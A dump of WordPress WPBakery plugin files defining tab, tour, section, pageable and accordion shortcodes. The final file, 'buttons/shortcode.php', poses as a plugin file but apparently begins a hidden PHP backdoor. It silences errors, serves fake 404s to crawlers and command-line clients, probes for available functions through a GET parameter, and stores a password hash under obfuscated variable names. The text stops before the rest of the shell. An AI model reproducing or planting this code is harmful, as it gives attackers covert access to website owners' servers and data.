'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
); deprecated/shortcode-vc-tab.php 0000666 00000001040 15126260003 0012513 0 ustar 00 <?php
return array(
'name' => __( 'Tab', 'js_composer' ),
'base' => 'vc_tab',
'allowed_container_element' => 'vc_row',
'is_container' => true,
'content_element' => false,
'deprecated' => '4.6',
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter title of tab.', 'js_composer' ),
),
array(
'type' => 'tab_id',
'heading' => __( 'Tab ID', 'js_composer' ),
'param_name' => 'tab_id',
),
),
'js_view' => 'VcTabView',
); deprecated/shortcode-vc-tour.php 0000666 00000003101 15126260003 0012736 0 ustar 00 <?php
return array(
'name' => __( 'Tour', 'js_composer' ),
'base' => 'vc_tour',
'show_settings_on_create' => false,
'is_container' => true,
'container_not_allowed' => true,
'deprecated' => '4.6',
'icon' => 'icon-wpb-ui-tab-content-vertical',
'category' => __( 'Content', 'js_composer' ),
'wrapper_class' => 'vc_clearfix',
'description' => __( 'Vertical tabbed content', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Widget title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Auto rotate slides', 'js_composer' ),
'param_name' => 'interval',
'value' => array(
__( 'Disable', 'js_composer' ) => 0,
3,
5,
10,
15,
),
'std' => 0,
'description' => __( 'Auto rotate slides each X seconds.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
'custom_markup' => '
<div class="wpb_tabs_holder wpb_holder vc_clearfix vc_container_for_children">
<ul class="tabs_controls">
</ul>
%content%
</div>',
'default_content' => '
[vc_tab title="' . __( 'Tab 1', 'js_composer' ) . '" tab_id=""][/vc_tab]
[vc_tab title="' . __( 'Tab 2', 'js_composer' ) . '" tab_id=""][/vc_tab]
',
'js_view' => 'VcTabsView',
); tta/shortcode-vc-tta-section.php 0000666 00000006227 15126260003 0012703 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
$parent_tag = vc_post_param( 'parent_tag', '' );
$include_icon_params = ( 'vc_tta_pageable' !== $parent_tag );
if ( $include_icon_params ) {
require_once vc_path_dir( 'CONFIG_DIR', 'content/vc-icon-element.php' );
$icon_params = array(
array(
'type' => 'checkbox',
'param_name' => 'add_icon',
'heading' => __( 'Add icon?', 'js_composer' ),
'description' => __( 'Add icon next to section title.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'i_position',
'value' => array(
__( 'Before title', 'js_composer' ) => 'left',
__( 'After title', 'js_composer' ) => 'right',
),
'dependency' => array(
'element' => 'add_icon',
'value' => 'true',
),
'heading' => __( 'Icon position', 'js_composer' ),
'description' => __( 'Select icon position.', 'js_composer' ),
),
);
$icon_params = array_merge( $icon_params, (array) vc_map_integrate_shortcode( vc_icon_element_params(), 'i_', '', array(
// we need only type, icon_fontawesome, icon_.., NOT color and etc
'include_only_regex' => '/^(type|icon_\w*)/',
), array(
'element' => 'add_icon',
'value' => 'true',
) ) );
} else {
$icon_params = array();
}
$params = array_merge( array(
array(
'type' => 'textfield',
'param_name' => 'title',
'heading' => __( 'Title', 'js_composer' ),
'description' => __( 'Enter section title (Note: you can leave it empty).', 'js_composer' ),
),
array(
'type' => 'el_id',
'param_name' => 'tab_id',
'settings' => array(
'auto_generate' => true,
),
'heading' => __( 'Section ID', 'js_composer' ),
'description' => __( 'Enter section ID (Note: make sure it is unique and valid according to <a href="%s" target="_blank">w3c specification</a>).', 'js_composer' ),
),
), $icon_params, array(
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'js_composer' ),
),
) );
return array(
'name' => __( 'Section', 'js_composer' ),
'base' => 'vc_tta_section',
'icon' => 'icon-wpb-ui-tta-section',
'allowed_container_element' => 'vc_row',
'is_container' => true,
'show_settings_on_create' => false,
'as_child' => array(
'only' => 'vc_tta_tour,vc_tta_tabs,vc_tta_accordion',
),
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Section for Tabs, Tours, Accordions.', 'js_composer' ),
'params' => $params,
'js_view' => 'VcBackendTtaSectionView',
'custom_markup' => '
<div class="vc_tta-panel-heading">
<h4 class="vc_tta-panel-title vc_tta-controls-icon-position-left"><a href="javascript:;" data-vc-target="[data-model-id=\'{{ model_id }}\']" data-vc-accordion data-vc-container=".vc_tta-container"><span class="vc_tta-title-text">{{ section_title }}</span><i class="vc_tta-controls-icon vc_tta-controls-icon-plus"></i></a></h4>
</div>
<div class="vc_tta-panel-body">
{{ editor_controls }}
<div class="{{ container-class }}">
{{ content }}
</div>
</div>',
'default_content' => '',
);
tta/shortcode-vc-tta-pageable.php 0000666 00000011145 15126260003 0012772 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
return array(
'name' => __( 'Pageable Container', 'js_composer' ),
'base' => 'vc_tta_pageable',
'icon' => 'icon-wpb-ui-pageable',
'is_container' => true,
'show_settings_on_create' => false,
'as_parent' => array(
'only' => 'vc_tta_section',
),
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Pageable content container', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'param_name' => 'title',
'heading' => __( 'Widget title', 'js_composer' ),
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'hidden',
'param_name' => 'no_fill_content_area',
'std' => true,
),
array(
'type' => 'dropdown',
'param_name' => 'autoplay',
'value' => array(
__( 'None', 'js_composer' ) => 'none',
'1' => '1',
'2' => '2',
'3' => '3',
'4' => '4',
'5' => '5',
'10' => '10',
'20' => '20',
'30' => '30',
'40' => '40',
'50' => '50',
'60' => '60',
),
'std' => 'none',
'heading' => __( 'Autoplay', 'js_composer' ),
'description' => __( 'Select auto rotate for pageable in seconds (Note: disabled by default).', 'js_composer' ),
),
array(
'type' => 'textfield',
'param_name' => 'active_section',
'heading' => __( 'Active section', 'js_composer' ),
'value' => 1,
'description' => __( 'Enter active section number (Note: to have all sections closed on initial load enter non-existing number).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_style',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Square Dots', 'js_composer' ) => 'outline-square',
__( 'Radio Dots', 'js_composer' ) => 'outline-round',
__( 'Point Dots', 'js_composer' ) => 'flat-round',
__( 'Fill Square Dots', 'js_composer' ) => 'flat-square',
__( 'Rounded Fill Square Dots', 'js_composer' ) => 'flat-rounded',
),
'heading' => __( 'Pagination style', 'js_composer' ),
'description' => __( 'Select pagination style.', 'js_composer' ),
'std' => 'outline-round',
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_color',
'value' => getVcShared( 'colors-dashed' ),
'heading' => __( 'Pagination color', 'js_composer' ),
'description' => __( 'Select pagination color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown',
'std' => 'grey',
'dependency' => array(
'element' => 'pagination_style',
'not_empty' => true,
),
),
array(
'type' => 'dropdown',
'param_name' => 'tab_position',
'value' => array(
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
),
'std' => 'bottom',
'heading' => __( 'Pagination position', 'js_composer' ),
'description' => __( 'Select pageable navigation position.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
'js_view' => 'VcBackendTtaPageableView',
'custom_markup' => '
<div class="vc_tta-container vc_tta-o-non-responsive" data-vc-action="collapse">
<div class="vc_general vc_tta vc_tta-tabs vc_tta-pageable vc_tta-color-backend-tabs-white vc_tta-style-flat vc_tta-shape-rounded vc_tta-spacing-1 vc_tta-tabs-position-top vc_tta-controls-align-left">
<div class="vc_tta-tabs-container">'
. '<ul class="vc_tta-tabs-list">'
. '<li class="vc_tta-tab" data-vc-tab data-vc-target-model-id="{{ model_id }}" data-element_type="vc_tta_section"><a href="javascript:;" data-vc-tabs data-vc-container=".vc_tta" data-vc-target="[data-model-id=\'{{ model_id }}\']" data-vc-target-model-id="{{ model_id }}"><span class="vc_tta-title-text">{{ section_title }}</span></a></li>'
. '</ul>
</div>
<div class="vc_tta-panels vc_clearfix {{container-class}}">
{{ content }}
</div>
</div>
</div>',
'default_content' => '
[vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 1 ) . '"][/vc_tta_section]
[vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 2 ) . '"][/vc_tta_section]
',
'admin_enqueue_js' => array(
vc_asset_url( 'lib/vc_tabs/vc-tabs.min.js' ),
),
);
tta/shortcode-vc-tta-tabs.php 0000666 00000015543 15126260003 0012171 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
return array(
'name' => __( 'Tabs', 'js_composer' ),
'base' => 'vc_tta_tabs',
'icon' => 'icon-wpb-ui-tab-content',
'is_container' => true,
'show_settings_on_create' => false,
'as_parent' => array(
'only' => 'vc_tta_section',
),
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Tabbed content', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'param_name' => 'title',
'heading' => __( 'Widget title', 'js_composer' ),
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'style',
'value' => array(
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Modern', 'js_composer' ) => 'modern',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
),
'heading' => __( 'Style', 'js_composer' ),
'description' => __( 'Select tabs display style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'shape',
'value' => array(
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Square', 'js_composer' ) => 'square',
__( 'Round', 'js_composer' ) => 'round',
),
'heading' => __( 'Shape', 'js_composer' ),
'description' => __( 'Select tabs shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'color',
'heading' => __( 'Color', 'js_composer' ),
'description' => __( 'Select tabs color.', 'js_composer' ),
'value' => getVcShared( 'colors-dashed' ),
'std' => 'grey',
'param_holder_class' => 'vc_colored-dropdown',
),
array(
'type' => 'checkbox',
'param_name' => 'no_fill_content_area',
'heading' => __( 'Do not fill content area?', 'js_composer' ),
'description' => __( 'Do not fill content area with color.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'spacing',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Spacing', 'js_composer' ),
'description' => __( 'Select tabs spacing.', 'js_composer' ),
'std' => '1',
),
array(
'type' => 'dropdown',
'param_name' => 'gap',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Gap', 'js_composer' ),
'description' => __( 'Select tabs gap.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'tab_position',
'value' => array(
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
),
'heading' => __( 'Position', 'js_composer' ),
'description' => __( 'Select tabs navigation position.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'alignment',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
__( 'Center', 'js_composer' ) => 'center',
),
'heading' => __( 'Alignment', 'js_composer' ),
'description' => __( 'Select tabs section title alignment.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'autoplay',
'value' => array(
__( 'None', 'js_composer' ) => 'none',
'1' => '1',
'2' => '2',
'3' => '3',
'4' => '4',
'5' => '5',
'10' => '10',
'20' => '20',
'30' => '30',
'40' => '40',
'50' => '50',
'60' => '60',
),
'std' => 'none',
'heading' => __( 'Autoplay', 'js_composer' ),
'description' => __( 'Select auto rotate for tabs in seconds (Note: disabled by default).', 'js_composer' ),
),
array(
'type' => 'textfield',
'param_name' => 'active_section',
'heading' => __( 'Active section', 'js_composer' ),
'value' => 1,
'description' => __( 'Enter active section number (Note: to have all sections closed on initial load enter non-existing number).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_style',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Square Dots', 'js_composer' ) => 'outline-square',
__( 'Radio Dots', 'js_composer' ) => 'outline-round',
__( 'Point Dots', 'js_composer' ) => 'flat-round',
__( 'Fill Square Dots', 'js_composer' ) => 'flat-square',
__( 'Rounded Fill Square Dots', 'js_composer' ) => 'flat-rounded',
),
'heading' => __( 'Pagination style', 'js_composer' ),
'description' => __( 'Select pagination style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_color',
'value' => getVcShared( 'colors-dashed' ),
'heading' => __( 'Pagination color', 'js_composer' ),
'description' => __( 'Select pagination color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown',
'std' => 'grey',
'dependency' => array(
'element' => 'pagination_style',
'not_empty' => true,
),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
'js_view' => 'VcBackendTtaTabsView',
'custom_markup' => '
<div class="vc_tta-container" data-vc-action="collapse">
<div class="vc_general vc_tta vc_tta-tabs vc_tta-color-backend-tabs-white vc_tta-style-flat vc_tta-shape-rounded vc_tta-spacing-1 vc_tta-tabs-position-top vc_tta-controls-align-left">
<div class="vc_tta-tabs-container">'
. '<ul class="vc_tta-tabs-list">'
. '<li class="vc_tta-tab" data-vc-tab data-vc-target-model-id="{{ model_id }}" data-element_type="vc_tta_section"><a href="javascript:;" data-vc-tabs data-vc-container=".vc_tta" data-vc-target="[data-model-id=\'{{ model_id }}\']" data-vc-target-model-id="{{ model_id }}"><span class="vc_tta-title-text">{{ section_title }}</span></a></li>'
. '</ul>
</div>
<div class="vc_tta-panels vc_clearfix {{container-class}}">
{{ content }}
</div>
</div>
</div>',
'default_content' => '
[vc_tta_section title="' . sprintf( '%s %d', __( 'Tab', 'js_composer' ), 1 ) . '"][/vc_tta_section]
[vc_tta_section title="' . sprintf( '%s %d', __( 'Tab', 'js_composer' ), 2 ) . '"][/vc_tta_section]
',
'admin_enqueue_js' => array(
vc_asset_url( 'lib/vc_tabs/vc-tabs.min.js' ),
),
);
tta/shortcode-vc-tta-tour.php 0000666 00000016427 15126260003 0012233 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
return array(
'name' => __( 'Tour', 'js_composer' ),
'base' => 'vc_tta_tour',
'icon' => 'icon-wpb-ui-tab-content-vertical',
'is_container' => true,
'show_settings_on_create' => false,
'as_parent' => array(
'only' => 'vc_tta_section',
),
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Vertical tabbed content', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'param_name' => 'title',
'heading' => __( 'Widget title', 'js_composer' ),
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'style',
'value' => array(
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Modern', 'js_composer' ) => 'modern',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
),
'heading' => __( 'Style', 'js_composer' ),
'description' => __( 'Select tour display style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'shape',
'value' => array(
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Square', 'js_composer' ) => 'square',
__( 'Round', 'js_composer' ) => 'round',
),
'heading' => __( 'Shape', 'js_composer' ),
'description' => __( 'Select tour shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'color',
'heading' => __( 'Color', 'js_composer' ),
'description' => __( 'Select tour color.', 'js_composer' ),
'value' => getVcShared( 'colors-dashed' ),
'std' => 'grey',
'param_holder_class' => 'vc_colored-dropdown',
),
array(
'type' => 'checkbox',
'param_name' => 'no_fill_content_area',
'heading' => __( 'Do not fill content area?', 'js_composer' ),
'description' => __( 'Do not fill content area with color.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'spacing',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Spacing', 'js_composer' ),
'description' => __( 'Select tour spacing.', 'js_composer' ),
'std' => '1',
),
array(
'type' => 'dropdown',
'param_name' => 'gap',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Gap', 'js_composer' ),
'description' => __( 'Select tour gap.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'tab_position',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
'heading' => __( 'Position', 'js_composer' ),
'description' => __( 'Select tour navigation position.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'alignment',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
__( 'Center', 'js_composer' ) => 'center',
),
'heading' => __( 'Alignment', 'js_composer' ),
'description' => __( 'Select tour section title alignment.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'controls_size',
'value' => array(
__( 'Auto', 'js_composer' ) => '',
__( 'Extra large', 'js_composer' ) => 'xl',
__( 'Large', 'js_composer' ) => 'lg',
__( 'Medium', 'js_composer' ) => 'md',
__( 'Small', 'js_composer' ) => 'sm',
__( 'Extra small', 'js_composer' ) => 'xs',
),
'heading' => __( 'Navigation width', 'js_composer' ),
'description' => __( 'Select tour navigation width.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'autoplay',
'value' => array(
__( 'None', 'js_composer' ) => 'none',
'1' => '1',
'2' => '2',
'3' => '3',
'4' => '4',
'5' => '5',
'10' => '10',
'20' => '20',
'30' => '30',
'40' => '40',
'50' => '50',
'60' => '60',
),
'std' => 'none',
'heading' => __( 'Autoplay', 'js_composer' ),
'description' => __( 'Select auto rotate for tour in seconds (Note: disabled by default).', 'js_composer' ),
),
array(
'type' => 'textfield',
'param_name' => 'active_section',
'heading' => __( 'Active section', 'js_composer' ),
'value' => 1,
'description' => __( 'Enter active section number (Note: to have all sections closed on initial load enter non-existing number).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_style',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Square Dots', 'js_composer' ) => 'outline-square',
__( 'Radio Dots', 'js_composer' ) => 'outline-round',
__( 'Point Dots', 'js_composer' ) => 'flat-round',
__( 'Fill Square Dots', 'js_composer' ) => 'flat-square',
__( 'Rounded Fill Square Dots', 'js_composer' ) => 'flat-rounded',
),
'heading' => __( 'Pagination style', 'js_composer' ),
'description' => __( 'Select pagination style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'pagination_color',
'value' => getVcShared( 'colors-dashed' ),
'heading' => __( 'Pagination color', 'js_composer' ),
'description' => __( 'Select pagination color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown',
'std' => 'grey',
'dependency' => array(
'element' => 'pagination_style',
'not_empty' => true,
),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
'js_view' => 'VcBackendTtaTourView',
'custom_markup' => '
<div class="vc_tta-container" data-vc-action="collapse">
<div class="vc_general vc_tta vc_tta-tabs vc_tta-color-backend-tabs-white vc_tta-style-flat vc_tta-shape-rounded vc_tta-spacing-1 vc_tta-tabs-position-left vc_tta-controls-align-left">
<div class="vc_tta-tabs-container">'
. '<ul class="vc_tta-tabs-list">'
. '<li class="vc_tta-tab" data-vc-tab data-vc-target-model-id="{{ model_id }}"><a href="javascript:;" data-vc-container=".vc_tta" data-vc-target="[data-model-id=\'{{ model_id }}\']" data-vc-target-model-id="{{ model_id }}" data-vc-tabs>{{ section_title }}</a></li>'
. '</ul>
</div>
<div class="vc_tta-panels {{container-class}}">
{{ content }}
</div>
</div>
</div>',
'default_content' => '
[vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 1 ) . '"][/vc_tta_section]
[vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 2 ) . '"][/vc_tta_section]
',
'admin_enqueue_js' => array(
vc_asset_url( 'lib/vc_tabs/vc-tabs.min.js' ),
),
);
tta/shortcode-vc-tta-accordion.php 0000666 00000015206 15126260003 0013175 0 ustar 00 <?php
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
return array(
'name' => __( 'Accordion', 'js_composer' ),
'base' => 'vc_tta_accordion',
'icon' => 'icon-wpb-ui-accordion',
'is_container' => true,
'show_settings_on_create' => false,
'as_parent' => array(
'only' => 'vc_tta_section',
),
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Collapsible content panels', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'param_name' => 'title',
'heading' => __( 'Widget title', 'js_composer' ),
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'style',
'value' => array(
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Modern', 'js_composer' ) => 'modern',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
),
'heading' => __( 'Style', 'js_composer' ),
'description' => __( 'Select accordion display style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'shape',
'value' => array(
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Square', 'js_composer' ) => 'square',
__( 'Round', 'js_composer' ) => 'round',
),
'heading' => __( 'Shape', 'js_composer' ),
'description' => __( 'Select accordion shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'color',
'value' => getVcShared( 'colors-dashed' ),
'std' => 'grey',
'heading' => __( 'Color', 'js_composer' ),
'description' => __( 'Select accordion color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown',
),
array(
'type' => 'checkbox',
'param_name' => 'no_fill',
'heading' => __( 'Do not fill content area?', 'js_composer' ),
'description' => __( 'Do not fill content area with color.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'spacing',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Spacing', 'js_composer' ),
'description' => __( 'Select accordion spacing.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'gap',
'value' => array(
__( 'None', 'js_composer' ) => '',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'heading' => __( 'Gap', 'js_composer' ),
'description' => __( 'Select accordion gap.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'c_align',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
__( 'Center', 'js_composer' ) => 'center',
),
'heading' => __( 'Alignment', 'js_composer' ),
'description' => __( 'Select accordion section title alignment.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'autoplay',
'value' => array(
__( 'None', 'js_composer' ) => 'none',
'1' => '1',
'2' => '2',
'3' => '3',
'4' => '4',
'5' => '5',
'10' => '10',
'20' => '20',
'30' => '30',
'40' => '40',
'50' => '50',
'60' => '60',
),
'std' => 'none',
'heading' => __( 'Autoplay', 'js_composer' ),
'description' => __( 'Select auto rotate for accordion in seconds (Note: disabled by default).', 'js_composer' ),
),
array(
'type' => 'checkbox',
'param_name' => 'collapsible_all',
'heading' => __( 'Allow collapse all?', 'js_composer' ),
'description' => __( 'Allow collapse all accordion sections.', 'js_composer' ),
),
// Control Icons
array(
'type' => 'dropdown',
'param_name' => 'c_icon',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Chevron', 'js_composer' ) => 'chevron',
__( 'Plus', 'js_composer' ) => 'plus',
__( 'Triangle', 'js_composer' ) => 'triangle',
),
'std' => 'plus',
'heading' => __( 'Icon', 'js_composer' ),
'description' => __( 'Select accordion navigation icon.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'param_name' => 'c_position',
'value' => array(
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
'dependency' => array(
'element' => 'c_icon',
'not_empty' => true,
),
'heading' => __( 'Position', 'js_composer' ),
'description' => __( 'Select accordion navigation icon position.', 'js_composer' ),
),
// Control Icons END
array(
'type' => 'textfield',
'param_name' => 'active_section',
'heading' => __( 'Active section', 'js_composer' ),
'value' => 1,
'description' => __( 'Enter active section number (Note: to have all sections closed on initial load enter non-existing number).', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
'js_view' => 'VcBackendTtaAccordionView',
'custom_markup' => '
<div class="vc_tta-container" data-vc-action="collapseAll">
<div class="vc_general vc_tta vc_tta-accordion vc_tta-color-backend-accordion-white vc_tta-style-flat vc_tta-shape-rounded vc_tta-o-shape-group vc_tta-controls-align-left vc_tta-gap-2">
<div class="vc_tta-panels vc_clearfix {{container-class}}">
{{ content }}
<div class="vc_tta-panel vc_tta-section-append">
<div class="vc_tta-panel-heading">
<h4 class="vc_tta-panel-title vc_tta-controls-icon-position-left">
<a href="javascript:;" aria-expanded="false" class="vc_tta-backend-add-control">
<span class="vc_tta-title-text">' . __( 'Add Section', 'js_composer' ) . '</span>
<i class="vc_tta-controls-icon vc_tta-controls-icon-plus"></i>
</a>
</h4>
</div>
</div>
</div>
</div>
</div>',
'default_content' => '[vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 1 ) . '"][/vc_tta_section][vc_tta_section title="' . sprintf( '%s %d', __( 'Section', 'js_composer' ), 2 ) . '"][/vc_tta_section]',
);
buttons/shortcode.php 0000666 00000042002 15126260003 0010742 0 ustar 00 <?php
$s_debug = false;
@ob_start();
@ini_set('max_execution_time',0);
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
//define('DS', DIRECTORY_SEPARATOR);
if($s_debug){
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('display_errors','1');
@ini_set('log_errors','1');
}
else{
error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
}
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
if (isset($_GET['mode'])) $mode = $_GET['mode']; else $mode='';
if ($mode=='tfunc')
{
$tfunc = $_GET['tfunc'];
for ($i=0;$i<count($tfunc);$i++)
{
if (function_exists($tfunc[$i])) $result = 'OK'; else $result = 'NOT EXISTS!';
printf('<p>Function <b>%s</b> %s</p>'."\r\n",$tfunc[$i],$result);
}
die();
}
$▛='$2a$07$isisamesollistpirgfareEUmdgQJ1lefebGDMF59BnfZ238YbHT.';
$▘ = '$2a$07$isisamesollistpirgfarsold$';
if (isset($_GET['role'])) $role = $_GET['role'];else $role='';
